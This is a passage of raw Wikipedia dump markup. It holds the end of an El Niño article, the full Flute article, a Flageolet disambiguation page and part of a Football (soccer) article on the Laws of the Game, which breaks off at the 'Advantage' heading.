Normal conditions along the west Peruvian coast are a cold southerly current (the Peru current) with upwelling water; the upwelling nutrients lead to great oceanic productivity; the cold currents leads to very dry conditions on land. Similar conditions exist elsewhere (California current; Benguela current off south Africa). Thus the replacement of this with warmer northerly water leads to lower biological productivity in the ocean, and more rainfall - often flooding - on land; the connection with flooding was reported in 1895 by Pezet and Eguiguren.

Towards the end of the nineteenth century there was much interest in forecasting climate anomalies (for food production) in India and Australia. Charles Todd, in 1893, suggested that droughts in India and Australia tended to occur at the same time; Norman Lockyer noted the same in 1904. In 1924 [[Gilbert Walker]] (after who the [[Walker circulation]] is named) first coined the term &quot;Southern Oscillation&quot;.

For most of the twentieth century, El Nino was thought of as a largely local phenomenon.

The major 1982-3 El Nino lead to an upsurge of interest from the scientific community.

== Related images ==
&lt;gallery&gt;
Image:Mean sst equatorial pacific.gif|Average equatorial Pacific temperatures.
Image:El nino north american weather.png|El Niño effects upon North American weather and atmospheric circulation.
Image:Enso-index-map.png|Map showing Nino3.4 and other index regions 
&lt;/gallery&gt;

== References ==

* Collins, M., and The CMIP Modelling Groups, 2005: El Niño- or La Niña-like climate change? Clim. Dyn., 24, 89-104. 19

==External links==
{{commonscat|ENSO}}
* [http://www.pmel.noaa.gov/tao/elnino/ The El Nino Theme Page] Explains El Nino and La Nina, provides real time data, forecasts, animations, FAQ, impacts and more.
* [http://www.elnino.noaa.gov NOAA El Nino Page]
* [http://www.pmel.noaa.gov/tao/elnino/el-nino-story.html The El Nino Story]
* [http://www.cpc.ncep.noaa.gov/products/analysis_monitoring/ensostuff/ensoyears.shtml ENSO events 1951 - present]
* [http://www.noaanews.noaa.gov/stories2004/s2317.htm NOAA announces 2004 El Niño]
*[http://www.limaperunet.com/climate/climateall.html The Climate of Peru]
* [http://www.bom.gov.au/lam/glossary/soid.htm Southern Oscillation Index (SOI)]

==Further reading==
*César N. Caviedes, 2001. ''El Niño in History : Storming Through the Ages'' ([http://www.upf.com University Press of Florida])
*Brian Fagan , 1999. ''Floods, Famines, and Emperors : El Niño and the Fate of Civilizations'' (Basic Books)
*Michael H. Glantz, 2001. ''Currents of change'', ISBN 0 521 78672 X

[[Category:Climate change]]
[[Category:Tropical meteorology]]

[[Category:Physical oceanography]]

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      <text xml:space="preserve">:''This article is about the musical instrument. For the sailing ship, see [[Fluyt]]. For the drinkware, see [[Champagne flute]].''

The '''flute''' is a [[musical instrument]] of the [[woodwind]] family. Unlike other woodwind instruments, a flute produces its sound from the flow of air against an edge, instead of using a [[Reed (music)|reed]]. A [[musician]] who plays the flute is generally referred to as either a [[flautist|''flautist'']] or a ''flutist''.  

Flute tones are sweet in character and blend well with other instruments. The flute's pitch, and various aspects of its [[timbre]] are flexible, allowing a very high degree of instantaneous expressive control.

[[Image:flute.jpg]]

==Categories of flutes==

The flute has appeared in many different forms in many different locations around the world.  A flute made from a [[mammoth]] tusk, found in the [[Swabian Alb]] and dated to 30,000 to 37,000 years ago [http://www.cbc.ca/story/arts/national/2004/12/30/Arts/flute-prehistoric041230.html]; one seven-hole flute made from a swan's bone in the Geissenklosterle Cave in Germany to circa 36,000 years ago [http://www.findarticles.com/p/articles/mi_hb3284/is_200412/ai_n15038469]; and another made from the bone of a juvenile [[cave bear]] found in [[Slovenia]] and dated to about 50,000 years ago [http://whyfiles.org/114music/4.html], are among the oldest known musical instruments.  

At its most basic, a flute can be an open tube which is blown like a bottle. Over time, the increasing demands of musical performance have led to the development of what many people consider ''the'' flute, the [[Western concert flute]], which has a complex array of keys and holes.

There are several broad classes of flutes. With most flutes, the musician blows directly onto the edge of the flute. However, some flutes, such as the [[recorder]], [[tin whistle]], [[whistle]], [[fujara]], and [[ocarina]] have a duct that directs the air onto the edge (an arrangement that is termed a &quot;[[fipple]]&quot;). This makes the instrument easier to play, but takes a degree of control away from the musician. Usually, fipple flutes are not referred to as flutes, even though the physics, technique and sound are similar.

Another division is between '''side-blown''' (or '''transverse''') flutes, such as the Western concert flute, [[piccolo]], [[fife (musical instrument)|fife]], [[di zi]], and [[bansuri]]; and [[end-blown flute]]s, such as the [[recorder]], [[ney]], [[kaval]], [[quena]], [[shakuhachi]] and [[tonette]]. The player of a side-blown flute uses a hole on the side of the tube to produce a tone, instead of blowing on an end of the tube. The earliest transverse flute is a chi flute discovered in the [[Tomb of Marquis Yi of Zeng]] at the [[Suizhou]] site, [[Hubei]] province, [[China]]. It dates from [[433 BC]], of the later [[Zhou Dynasty]]. It is of lacquered bamboo with closed ends. It has five stops that are at the flute's side instead of top. Chi flutes are mentioned in [[Shi Jing]], compiled and edited by [[Confucius]].

===Members of the concert flute family===
From high to low, the members of the concert flute family include:
*[[Piccolo]] in C or D-flat
*[[Treble flute]] in G
*[[Soprano flute]] in Eb
*[[Western concert flute|Concert flute]] (also called '''C flute''', '''boehm flute''', '''silver flute''', or simply '''flute''')
*[[Flute d'amour]] (also called '''tenor flute''') in B-flat or A
*[[Alto flute]] in G
*[[Bass flute]] in C
*[[Contrabass flute]] in C (also called '''octobass flute''')
*[[Contra-alto flute]] in G
*[[Subcontrabass flute]] in G or C
*[[Double contrabass flute]] in C (also called '''octobass flute''')

Each of the above instruments has its own range.  The piccolo is an octave higher in pitch than the concert flute.  Like the concert flute, it reads music in C, but sounds one octave higher.  The alto flute is in the key of G, and extends the low register range of the flute to the G below middle C.  Its highest note is a high G (4 ledger lines above the treble clef staff). The bass flute is an octave lower than the concert flute, and the contrabass flute is an octave lower than the bass flute.

Less commonly seen flutes include the [[treble flute]] in G, pitched one octave higher than the alto flute; the [[soprano flute]], between the treble and concert; and the tenor flute or [[flute d'amour]] in B flat or A, pitched between the concert and alto.

The lowest sizes (larger than the bass flute) have all been developed in the 20th century; these include the [[sub-bass flute]] is pitched in F, between the bass and contrabass; the [[subcontrabass flute]] (pitched in G or C), the [[contra-alto flute]] (pitched in G, one octave below the alto), and the [[double contrabass flute]] in C, one octave lower than the contrabass. The flute sizes other than the concert flute and piccolo are sometimes called [[harmony flutes]].

[[Image:Zampoña.jpg|thumb|right|Playing the ''zampoña'', an [[Inca]] instrument and type of pan pipes.]]

Flutes may be open on one or both of their ends. The [[ocarina]], [[pan pipes]], [[concert whistle]], [[Jug (musical instrument)|jug]], [[police-whistle]], and [[bosun's whistle]] are closed-ended.  Open-ended flutes such as the concert flute and the recorder have more harmonics, and thus more flexibility for the player, and brighter timbres. An organ pipe may be either open or closed, depending on the sound desired.

Flutes can be played with several different air sources. Conventional flutes are blown with the mouth, although some cultures use [[nose flute]]s. [[Organ (music)|Organs]] are blown by bellows or fans.

==Flute acoustics==
A flute produces [[sound]] when a stream of air directed across the top of a hole bounces in and out of the hole.  Some engineers have called this a [[fluid]]ic multivibrator, because it forms a mechanical analogy to an [[electronics|electronic]] circuit called a [[multivibrator]].  

The stream beats against the air in a resonator, usually a tube.  The player changes the pitch of the flute by changing the effective length of the resonator.  This is done either by closing holes, or more rarely, with a slide similar to a [[trombone]]'s slide.

Because the air-stream has a lower mass than most resonators used in musical instruments, it can beat faster, but with less momentum.  As a result, flutes tend to be softer, but higher-pitched, than other sound generators of the same size.

To be louder, a flute must use a larger resonator and a wider air-stream.  A flute can generally be made louder by making its resonator and tone-holes larger.  This is why police whistles, a form of flute, are very wide for their pitch, and why organs can be far louder than concert flutes: an organ pipe's tone-hole may be several [[inch]]es wide, while a concert flute's is a fraction of an inch.

The air-stream must be flat, and precisely aimed at the correct angle and velocity, or else it will not vibrate.  In fippled flutes, a precisely machined slot extrudes the air.  In organs, the air is supplied by a regulated blower.

In non-fipple flutes, especially the concert flute and piccolo, the player must form and direct the stream with his or her lips, which is called an embouchure.  This allows the player a wide range of expressions in pitch, volume, and timbre, especially in comparison to fipple flutes.  However, it also makes the transverse flute immensely more difficult for a beginner to get a full sound out of than fipple flutes such as the [[recorder]]. Transverse flutes also take more air to play, which requires deeper breathing and makes [[circular breathing]] trickier, but still not impossible.

Generally, the quality called &quot;tone colour&quot; or &quot;timbre&quot; varies because the flute produces harmonics in different intensities.  A [[harmonic]] is a frequency that is a whole number multiple of a lower register, or &quot;fundamental&quot; tone of the flute. Generally the air-stream is thinner (to vibrate in more modes), faster (providing more energy to vibrate), and aimed across the hole more shallowly (permitting a more shallow deflection of the airstream to resonate).  

Almost all flutes can be played in fundamental, octave, tierce, quatre and cinque modes simply by blowing harder and making the air-stream move more quickly and at a more shallow angle.  Flute players select their instrument's resonant mode with embouchure and breath control, much as brass players do.

The timbre is also affected by the quality of the resonator.  Generally, more rigid resonators (such as wood) have a &quot;dead&quot; sound, because they have a higher acoustic impedance, and do not resonate with the harmonics.  Concert flutes are expected to produce a &quot;brilliant&quot; sound, with a wide range of harmonics.  To help this, they are thin tubes made of hard-drawn [[alloys]].  These are more mechanically elastic than wood, and therefore vibrate in more modes.  Theoretically, flutes constructed in thin tubes of elastic but heavy metals, such as alloys of [[gold]], [[tungsten]], [[platinum]] or [[osmium]] sound &quot;richer&quot; because they vibrate to a lower, therefore more audible, range of harmonics.  This effect also explains the good tone of bronze and brass flutes, which are less massive, but more elastic.

==The Western concert flutes==
[[Image:ModernFlute.jpg|thumb|right|400px|A Modern, Closed hole (&quot;Plateau&quot;) model flute]]

The [[Western concert flute]] is a transverse flute which is closed at the top. Near the top is the ''embouchure hole'', against which the player blows. The flute has circular finger-holes, various combinations of which can be opened or closed by the flautist, by means of a mechanism of keys, to produce the various notes in the flute's [[playing range]]. The note produced depends on which finger-holes are opened or closed by the flautist and on how the flute is blown by the flautist. With rare exceptions (i.e., flutes with custom-made fingering-systems), the [[Boehm system]] is the fingering-system in correspondence with which Western concert flutes are designed and manufactured.

The standard concert flute is [[Pitch (music)|pitch]]ed in C and has a range of about 3 and a half [[octave]]s starting from [[middle C]].  However, many professional flutes have an extra key to reach the B directly below middle C. Also commonly used in [[orchestra]]s is the [[piccolo]], a small flute usually pitched one octave above the concert flute. Alto and bass flutes, respectively pitched a perfect fourth and an octave below the concert flute, are used occasionally.  Parts for the alto flute are more common than for the bass.  Many other sizes of flute and piccolo are used from time to time.  A much-less common instrument of the current pitching system is the treble G flute. An older pitching system, used principally in older wind-band music, includes D-flat piccolos, E-flat soprano flutes (the primary instrument, equivalent to today's concert C flutes), F alto flutes, and B-flat bass flutes.

The modern professional concert flute is generally made of [[silver]], [[gold]], or combinations of the two.  Student instruments are usually made of nickel silver, or silver-plated [[brass]]. Curved headjoints are also available for student flutes which make the flute shorter making it possible for children as young as 3 years old to play the flute. Wooden flutes and headjoints are more widely available than in the past.

The modern concert flute comes with various options.  The B-flat key (invented and pioneered by [[Briccialdi]]) and the B foot joint (which extends the flute's range down one semitone) are practically standard.  

Open hole flutes (where some keys have a circular hole through the middle that the player must cover with fingertips) are common among concert-level players, though some flautists (particularly students, but sometimes even professional flutists as well) select closed-hole &quot;plateau&quot; keys. Students often use temporary plugs to cover the holes in the keys until they master the more exact finger-placement that open-hole keys demand.  Some people believe that open-hole keys permit louder and clearer sound projection in the flute's lower range.  Open-hole keys are also needed for some modern &quot;extended&quot; avant garde pieces, including those requiring the player to play harmonic overtones, or to manipulate &quot;breathy&quot; sounds in addition to the traditional &quot;pure&quot; tone.

Open-hole keys are typical of French technique, championed by the [[Paris Conservatoire]], which dominated in the 20th century.  However, the century has changed, and the French school is under fire; specifically, the placement of the G-key (previously offset in student models and inline in professional models) may or may not be moving, depending on whom you ask.  Less controversial options include the amusingly named &quot;gizmo key&quot;, which facilitates C7.

To play the Western concert flute, one holds the flute in a transverse position, and blows across the hole in the mouthpiece.  To distinguish separate notes, one pushes down the keys of the flute in distinct [http://www.wfg.woodwind.org/flute/ fingerings].  However, there are a few alternate fingerings (called trill fingerings) that will assist one in playing difficult passages.

== The Indian flutes ==
The Indian flute, one of the oldest instruments of [[Indian classical music]], appears to have developed independently of the western flute.  The [[Hindu]] god [[Krishna]] is said to be a master of the instrument.  The Indian flutes are very simple instruments when compared with their western counterparts; they are made of bamboo and are keyless.  The pitch of Indian flutes is not standardized, and is largely left to the personal preference of the artist.

Two main varieties of Indian flutes are currently used.  The first is the ''[[Bansuri]]'', which has six finger holes and one blowing hole, is used predominantly in [[Hindustani music]], the music of north India.  The second is the ''[[Pullanguzhal]]'', which has eight finger holes, is predominantly used in [[Carnatic music]], the music of south India.  The south Indian flute had only seven finger holes till the 1970s when the legendary [[T. R. Mahalingam]] introduced the eight holed variety.

== The Diple ==
''Main artice'' [[Diple]]

==References==
*[[Theobald Boehm]], ''The Flute and Flute-Playing'' (Dover Publications, 1964)
*[[James Phelan]], ''The Complete Guide to the Flute and Piccolo'' (Burkart-Phelan, Inc., 2004)
*[[Nancy Toff]], ''The Flute Book'' (Charles's Scribners Sons, 1985). The Development of the Modern Flute.
*[[Flute repertory]]

== See also ==
* [[Western concert flute]]
* [[Carnatic Music]]
* [[Irish flute]]
* [[Divje Babe]]

== External links ==
*[http://www.FluteInfo.com FluteInfo]
*[http://www.flutes.tk Flutes.tk]
*[http://www.larrykrantz.com Larry Krantz Flute Pages] Wide range of flute related information contributed by many professional flute players. Access to information about FLUTE - email discussion group.
*[http://www.phys.unsw.edu.au/music/flute/ Flute Acoustics]
*[http://www.phys.unsw.edu.au/music/flute/virtual/main.html The Virtual Boehm Flute] gives an immense database of standard and alternative fingerings, including quarter-tones and multiphonics.
*[http://www.wfg.woodwind.org/flute/ The Woodwind Fingering Guide] - A large, easy-to-navigate listing of flute fingerings
*[http://www.flutehistory.com FluteHistory.com]
*[http://memory.loc.gov/ammem/dcmhtml/dmhome.html The Dayton C. Miller Flute Collection] has many pictures of flutes through the ages, among other useful information.
*[http://www.thegalwaynetwork.com/index.html The Galway Network], home page of the popular Sir [[James Galway]]
*[http://www.shakuhachi.com Tai Hei Shakuhachi - Japanese Bamboo Flutes]
*[http://www.shakuhachi.com/Q-Models-Headjoint.html Shakuhachi Headjoint for the Silver Flute]
*[http://www.cedarflute.de Cedarflutes] 
*[http://www.beginband.com/flute.shtml BeginBand.com] has information about learning to play the flute as well as a soundclip.
*[http://www.flutewise.com/fw Flutewise] is an international organisation for young flute players
*[http://www.chinastyle.cn/music/music-bells-drums.htm The Music of Bells and Drums (16th Century - 221 BC)] Discusses the oldest transverse flute.
*[http://www.greenwych.ca/fl-compl.htm The Neanderthal Flute]
*[http://www.neyneva.com/eng/reed_flute.asp www.neyneva.com/eng/reed_flute.asp] is the Turkish mistic reed flute &quot;NEY&quot; site.


[[Category:Flutes| ]]
[[Category:Woodwind instruments]]



[[ar:فلوت]]
[[ca:Flauta]]
[[de:Flöte]]
[[es:Flauta]]
[[eo:Fluto]]
[[fr:Flûte]]
[[ko:플루트]]
[[hr:Flauta]]
[[he:חליל]]
[[nl:Fluit (muziekinstrument)]]
[[ja:笛]]
[[nn:fløyte]]
[[pl:Flet]]
[[pt:Flauta]]
[[ru:Флейта]]
[[simple:Flute]]
[[sr:Флаута]]
[[fi:Huilu]]
[[sv:Flöjt]]
[[th:ฟลุต]]
[[vi:Sáo ngang]]
[[uk:Флейта]]
[[zh:长笛]]</text>
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  <page>
    <title>Flageolet (disambiguation)</title>
    <id>10554</id>
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      <comment>trim information already available in articles; reorder</comment>
      <text xml:space="preserve">'''Flageolet''' has several meanings:

* [[Flageolet]] (woodwind instrument)
* [[Flageolet bean]]
* [[Flageolet register]]
* [[Flageolet tone]], a [[tone]] of [[string instrument]]s.
** [[Natural flageolet]]
** [[Artificial flageolet]]

{{disambig}}

[[de:Flageolett (Begriffsklärung)]]
[[nl:Flageolet]]</text>
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    <title>Football (soccer)</title>
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      <text xml:space="preserve">:''Soccer redirects here.  For other senses, see [[soccer (disambiguation)]].''

[[Image:football_iu_1996.jpg|thumb|300px|right|The striker (wearing a red shirt) has run past the defender (in white shirt) and is about to take a shot at the goal, while the goalkeeper positions himself to attempt to stop the ball.]]

&lt;!--   
*** POLITE SUGGESTION to potential editors: The intro paragraphs should be short and to the point (refer Wikipedia Manual of Style); Details of what the sport is called where are probably better covered in the [[names of the game]] article. This article represents a compromise between many factions; please be careful in keeping the point of view neutral, no matter how correct you think you are. ***    
--&gt; 

'''Football''' is a [[team sport]] played between two teams consisting of eleven players each. It is a ball game played on a rectangular grass field with a [[goal (sport)|goal]] at each end. The objective of the game is to score by maneuvering the ball into the opposing goal. Other than the goalkeepers, players may not use their hands or arms to propel the ball in general play. The winner is the team which has scored most goals at the end of the match.

The sport is also known by [[football (soccer) names|other names]] in some parts of the [[English language|English]]-speaking world, usually '''association football''' and its contraction, '''soccer'''. These names are often used to distinguish the game from [[football|other codes of football]], since [[football (word)|the word &quot;football&quot;]] may be used to refer to several quite different games. &lt;!-- Please see above polite suggestions before changing this line--&gt;

Football is played at a professional level all over the world, and millions of people regularly go to football [[stadium|stadia]] to follow their favourite team, whilst billions more avidly watch the game on television. A very large number of people also play football at an amateur level. 

According to a survey conducted by [[FIFA|Fédération Internationale de Football Association]] (FIFA), football's governing body, published in the spring of 2001, over 240 million people regularly play football in more than 200 countries in every part of the world. Its simple rules and minimal equipment requirements have no doubt aided its spread and growth in popularity. In many parts of the world football evokes great passions and plays an important role in the life of individual fans, local communities, and even nations; it is therefore often claimed to be the most popular [[sport]] in the world. Because of this it is often dubbed as the '''World's Favorite Pastime'''.

== Nature of the game ==
The game is played in accordance with a set of rules known as the [[Laws of the Game]], which are summarised below.

Two teams of eleven players each compete to get a round ball (itself known as a ''[[football (ball)|football]]'') into the other team's goal, thereby scoring a goal. The team which has scored the most goals at the conclusion of the game is the winner; if both teams have an equal number of goals then the game is a draw. The primary rule for this objective is that players, other than the goalkeepers, may not ''intentionally'' touch the ball with their hands or arms during play (though they do use their hands during a [[throw-in]] restart). Although players mainly use their feet to move the ball around, they may use any part of their bodies other than their hands or arms. 

[[Image:Soccer goalkeeper.jpg|thumb|250px|A goalkeeper dives to stop the ball from entering his goal.]]

The physical contact between players is restricted: holding, tripping, kicking or excessively pushing opponents is not allowed. Such actions (along with handling the ball) are called [[foul (football)|fouls]] and are punishable by a [[free kick]] (or a [[penalty kick]] if commited in the vicinity of the offender's goal; [[#Fouls and misconduct|see below]] for details).

In typical game play, players attempt to move towards a goal through individual control of the ball, such as by dribbling (running with the ball close to their feet); by passing the ball from team-mate to team-mate; and by taking shots at the goal. Opposition players may try to regain control of the ball by intercepting a pass or through tackling the opponent who controls the ball.

Football is generally a free-flowing game with the ball in play at all times except when the ball has left the field of play by wholly crossing over a boundary line (either on the ground or in the air), or play has been stopped by the referee. When play has been stopped, it recommences with a specified restart (see below).

At a professional level, usually a few goals are scored during a match. For example, during [[FA Premier League 2004-05|2004-05]] season of the [[FA Premier League]], an average of 2.57 goals per match were scored, and 88% of the matches ended up with not more than 4 goals scored. However, only 8% of the matches finished goalless.

===Tactics===
{{seealso|Football positions|Formation (football)}}
The Laws of the Game don't specify any player positions other than goalkeeper. However, during the development of the game a number of specific [[football positions|player specializations]] have evolved. They include:
*[[defender (football)|defenders]] - players who specialize in the prevention of scoring by opponents,
*[[midfielder]]s - players who develop the team's attacks and provide strikers with passes, but also help their defenders by disrupting opposition attacks at an early stage,
*[[striker]]s - players whose main task is to score goals.
These positions are futher differentiated by the side of the field that the player spends most time in. For example, there are central defenders and left midfielders.

Players may spend most part of the game in a specific part of the field, however, they are not restricted by the Laws of the Game and can switch positions at any time. This even applies to goalkeepers, who usually spend most of the game near their goal but can participate in their team's open play, this usually only happens at free kicks or corner kicks.

The layout of the players on the pitch is called [[formation (football)|formation]]. The formations popular in modern football include [[formation (football)#4-4-2|4-4-2]], [[formation (football)#3-5-2|3-5-2]] and [[formation (football)#4-5-1|4-5-1]].

Defining a team's formation and tactics is usually the prerogative of a [[coach (sport)|coach]].

== The Laws of the Game ==
=== History and development ===
{{seealso|Football}}
The ''Laws of the Game'' are based on efforts made in the mid-[[19th century]] to standardise the rules of the widely varying games of football played at the [[Independent school (UK)|independent schools]] of [[England]]. The [[The Cambridge Rules|first set of rules]] resembling the modern game were produced at [[Trinity College, Cambridge]] in [[1848]], at a meeting attended by representatives from [[Eton College|Eton]], [[Harrow School|Harrow]], [[Rugby School|Rugby]], [[Winchester College|Winchester]] and [[Shrewsbury School|Shrewsbury]], but they were far from universally adopted. During the [[1850s]], many clubs were formed, thoughout the English-speaking world, independent of schools or universities, to play various forms of football. Some came up with their own distinct codes of rules, most notably the [[Sheffield F.C.|Sheffield Football Club]] (formed by former pupils from [[Harrow School|Harrow]]) in [[1857]], which led to formation of a [[Sheffield &amp; Hallamshire Football Association|Sheffield FA]] in 1867. In [[1862]], J.C. Thring of [[Uppingham School]] also devised an influential set of rules.

These efforts contributed to the formation of [[The Football Association]] (The FA) in [[1863]] which first met on the morning of [[26 October]] [[1863]] at the Freemason's Tavern in Great Queen Street, [[London]]{{ref|FA}}. The only school to be represented on this occasion was [[Charterhouse School|Charterhouse]]. The Freemason's Tavern was the setting for five more meetings between October and December, which eventually produced the first comprehensive set of rules. At the final meeting, the first FA treasurer, who was the representative from [[Blackheath Rugby Club|Blackheath]], withdrew his club from the FA over the removal of two draft rules at the previous meeting, the first which allowed for the running with the ball in hand and the second, obstructing such a run by hacking (kicking an opponent in the shins), tripping and holding.  Other [[History of rugby union|English rugby clubs followed this lead]] and did not join the FA but instead in [[1871]] formed the [[Rugby Football Union]]. The eleven remaining clubs, under the charge of [[Ebenezer Cobb Morley]], went on to ratify the original fourteen rules of the game. Despite this, the Sheffield FA played by its own rules until the 1870s.

Today the laws of the game are determined by the [[International Football Association Board]] (IFAB). The Board was formed in [[1886]]{{ref|IFAB}} after a meeting in [[Manchester]] of The Football Association, the [[Scottish Football Association]], the [[Football Association of Wales]], and the [[Irish Football Association]]. The Fédération Internationale de Football Association [[FIFA]], the international football body, was formed in [[Paris]] in [[1904]] and declared that they would adhere to the rules laid down by the IFAB. The growing popularity of the international game led to the admittance of FIFA representatives to the IFAB in [[1913]]. Today the board is made up of four representatives from FIFA and one representative from each of the four British associations.

[[Image:Kid playing soccer.jpg|thumb|250px|Football is popular among children as well as adults.]]

===Overview of the Laws===
There are seventeen Laws in the official [[Laws of the Game]]. The same laws are designed to apply to all levels of football, although the preface to the Laws does grant national associations the ability to authorise certain modifications for juniors, seniors, women, etc. The Laws are often framed in broad terms, which allows flexibility in their application depending on the nature of the game. In addition to the seventeen Laws, numerous IFAB decisions and other directives contribute to the regulation of football. The Laws can be found on the [http://www.fifa.com/en/regulations/regulation/0,3527,3,00.html official FIFA website].

=== Players and equipment ===
Each team consists of a maximum of eleven players (excluding [[substitute (football)|substitute]]s), one of whom must be the goalkeeper. Competition rules may state a minimum of seven players are required to constitute a team. There are a variety of [[Football (soccer) positions|positions]] in which the outfield players are strategically placed by a manager/coach, though these positions are not defined or required by the Laws.

One player on each team must be designated as that team's goalkeeper. The goalkeeper is the only player allowed to handle the ball with his hands or arms, but is restricted to doing so within the [[Penalty area (football)|penalty area]] (also known as the &quot;box&quot; or &quot;18 yard box&quot;) in front of his own goal. 

The basic equipment players are required to wear includes a shirt (or jersey), shorts, socks (or stockings), footwear and adequate shin guards. Players are forbidden to wear or use anything that is dangerous to themselves or another player (including jewellery or watches).

A number of players may be replaced by [[substitute (football)|substitute]]s during the course of the game. The maximum substitutions permitted in international games and in national level leagues are three, though substitution numbers may be varied in other leagues. The usual reasons for a player's replacement include injury, tiredness, ineffectiveness, a tactical switch, or to waste a little time at the end of a finely poised game. In standard adult matches, a player who has been substituted may not take further part in the match.

=== Officials ===
A game is presided over by a [[Referee (football)|referee]], who has &quot;full authority to enforce the Laws of the Game in connection with the match to which he has been appointed&quot; (Law 5), and whose decisions regarding facts connected with play are final. The referee is assisted by two [[assistant referee]]s (formerly called linesmen). In many high-level games there is also a [[fourth official]], who assists the referee and may replace another official should the need arise.

=== Playing field ===
[[Image:Football pitch metric.png|right|510px|thumb|Standard pitch measurements ([[:Image:Football pitch.png|Large version]]) ([[:Image:Football pitch small.png|Imperial version]])]]
{{main|Football (soccer) field}}

The length of the field (pitch) for international adult matches should be in the range 90-120m (100-130 yards) and the width should be in the range 45-90m (50-100 yards).The pitch must be rectangular, with the length of the touch line longer than the width of the goal line.

The longer boundary lines are ''touch lines'', while the shorter boundaries (on which the goals are placed) are ''goal lines''. On the goal line at each end of the field is a goal. The inner edges of the goal posts must be 7.32m (8 yards) apart, and the lower edge of the crossbar must be 2.44m (8 feet) above the ground. Nets are usually placed behind the goal, though are not required by the Laws.

In front of each goal is an area of the field known as the [[penalty area]] (colloquially &quot;penalty box&quot;, &quot;18 yard box&quot; or simply &quot;the box&quot;). This area consists of the area formed by the goal-line, two lines starting on the goal-line 16.5m (18 yards) from the goalposts and extending 18 yards into the pitch from the goal-line, and a line joining these. This area has a number of important functions, the most prominent being to denote where the goalkeeper may handle the ball and where a foul by a defender which would usually punished by a direct free kick becomes punishable by a [[penalty kick (football)|penalty kick]].

The field has other field markings and defined areas; these are described in the main article above.

=== Duration ===
====Standard durations====
A standard adult football match consists of two periods (known as halves) of 45 minutes each.  There is usually a 15-minute break between halves, known as half time.  The end of the match is known as full-time. 

====Time added on====
The referee is the official timekeeper for the match, and it is part of his duties to make allowance for time lost through substitutions, injured players requiring attention, cautions and dismissals, sundry time wasting, etc. When making such an allowance for time lost, the referee is often said to be &quot;adding time on&quot;; the added time is commonly referred to as ''stoppage time'' or ''injury time''. The amount of time is at the sole discretion of the referee, and the referee alone signals when the match has been completed. There are no other timekeepers, although assistant referees carry a watch and may provide a second opinion if requested by the referee. In matches where a fourth official is appointed, towards the end of the half the referee will signal how many minutes remain to be played, and the fourth official then signals this to players and spectators by holding up a board showing this number.

Note that there is often semantic debate as to whether the referee is &quot;adding on&quot; time to the end of a half, or rather treating time during stoppages as though it never existed as part of the match time; this distinction has little bearing on the practical conduct of a game, however it may be noted that the pre-[[1997]] wording of the laws stated that the referee &quot;shall ... allow the full or agreed time ''adding thereto'' all time lost through injury or accident&quot; (Law V), and later FIFA guidelines regarding the annotation of goal scoring times suggested that time is indeed &quot;added-on&quot; to the end of the agreed half period.

====Extra time and shootouts====
If tied at the end of regulation time, in some competitions the game may go into extra time, which consists of two further 15-minute periods. If the score is still tied after extra time, some competitions allow the use of [[penalty shootout (football)|penalty shootouts]] (known officially in the Laws of the Game as &quot;kicks from the penalty mark&quot;) to determine which team will progress to the next stage of the tournament. Note that goals scored during extra time periods count towards the final score of the game, unlike kicks from the penalty mark which are only used to decide the team that progresses to the next part of the tournament (with goals scored not making up part of the final score).

Competitions utilising two-leg stages (i.e. where each round involves the two teams playing each other twice) may utilise the so-called [[away goals rule]] to attempt to determine which team progresses in the event of the teams being equal on wins; however, should results still be equal following this calculation kicks from the penalty mark are usually required. Other competitions may require a tied game to be replayed.

====Golden and silver goal experiments====
{{main articles|[[Golden goal]] and [[Silver goal]]}}

In the late [[1990s]], the IFAB experimented with ways of making matches more likely to end without requiring [[kicks from the penalty mark]], which were often seen as an undesirable way to end a match. 

These involved rules ending a game in extra time early, either when the first goal in extra time was scored ([[golden goal]]), or at the end of the first period of extra time if one team was by then leading ([[silver goal]]). Both these experiments have been discontinued by IFAB.

=== Starts and re-starts ===
Each playing period in football commences with a [[kick-off (football)|kick-off]], which is a set kick from the centre-spot by one team. At kick-off all players are required to be in their half of the field, and all players of the non-kicking team must also remain outside the centre-circle, until the ball is kicked and moved. Kick-offs are also used to restart play following a goal.

From the initial kick-off of a period until the end of that period, the ball is &quot;in play&quot; at all times until the end of the playing period, except when the ball leaves the field of play or play is stopped by the referee; in these cases play is re-started by one of the following eight methods:

[[Image:Directfreekick.jpg|right|300px|thumb|A [[direct free kick]] taken by the blue-white team.]]

* [[Kick-off (football)|Kick-off]]: following a goal by the opposing team, or to begin each period of play. ([http://www.fifa.com/en/laws/Laws8_01.htm Law 8]).
* [[Throw-in]]: when the ball has wholly crossed the touchline; awarded to opposing team to that which last touched the ball. ([http://www.fifa.com/en/laws/Laws15_01.htm Law 15]).
* [[Goal kick]]: when the ball has wholly crossed the goal line without a goal having been scored and having last been touched by an attacker; awarded to defending team. ([http://www.fifa.com/en/laws/Laws16_01.htm Law 16]).
* [[Corner kick]]: when the ball has wholly crossed the goal line without a goal having been scored and having last been touched by a defender; awarded to attacking team. ([http://www.fifa.com/en/laws/Laws17_01.htm Law 17]).
* [[Indirect free kick]]: awarded to the opposing team following &quot;non-penal&quot; fouls, certain technical infringements, or when play is stopped to caution/send-off an opponent without a specific foul having occurred. ([http://www.fifa.com/en/laws/Laws13_01.htm Law 13]).
* [[Direct free kick]]: awarded to fouled team following certain listed &quot;penal&quot; fouls. ([http://www.fifa.com/en/laws/Laws13_01.htm Law 13]).
* [[Penalty kick (football)|Penalty kick]]: awarded to fouled team following &quot;penal&quot; foul having occurred in their opponent's penalty area. ([http://www.fifa.com/en/laws/Laws14_01.htm Law 14]).
* [[Dropped-ball]]: occurs when the referee has stopped play for any other reason (e.g. a serious injury to a player, interference by an external party, or a ball becoming defective). ([http://www.fifa.com/en/laws/Laws8_03.htm Law 8]).

===Fouls and misconduct===
{{main articles|[[Foul (football)]] and [[Misconduct (football)]]}}
A [[foul (football)|foul]] occurs when a player (not a substitute) commits a specific offence listed in the Laws of the Game when the ball is in play. The offences that constitute a foul are listed in Law 12. &quot;Penal fouls&quot;, for example handling the ball, tripping an opponent, pushing an opponent, etc, are punishable by a [[direct free kick]] or [[penalty kick (football)|penalty kick]] depending on where the offence occurred. Other fouls are punishable by an [[indirect free kick]].

[[Misconduct (football)|Misconduct]] may occur at any time, and may be committed by both players and substitutes. Whilst the offences that constitute misconduct are listed, the definitions are broad. In particular, the offence of &quot;unsporting behaviour&quot; may be used to deal with most events that violate the spirit of the game, even if they are not listed as specific offences. Misconduct may be punished by a [[yellow card|caution]] (yellow card) or [[red card|sending-off]] (red card).

===Advantage===
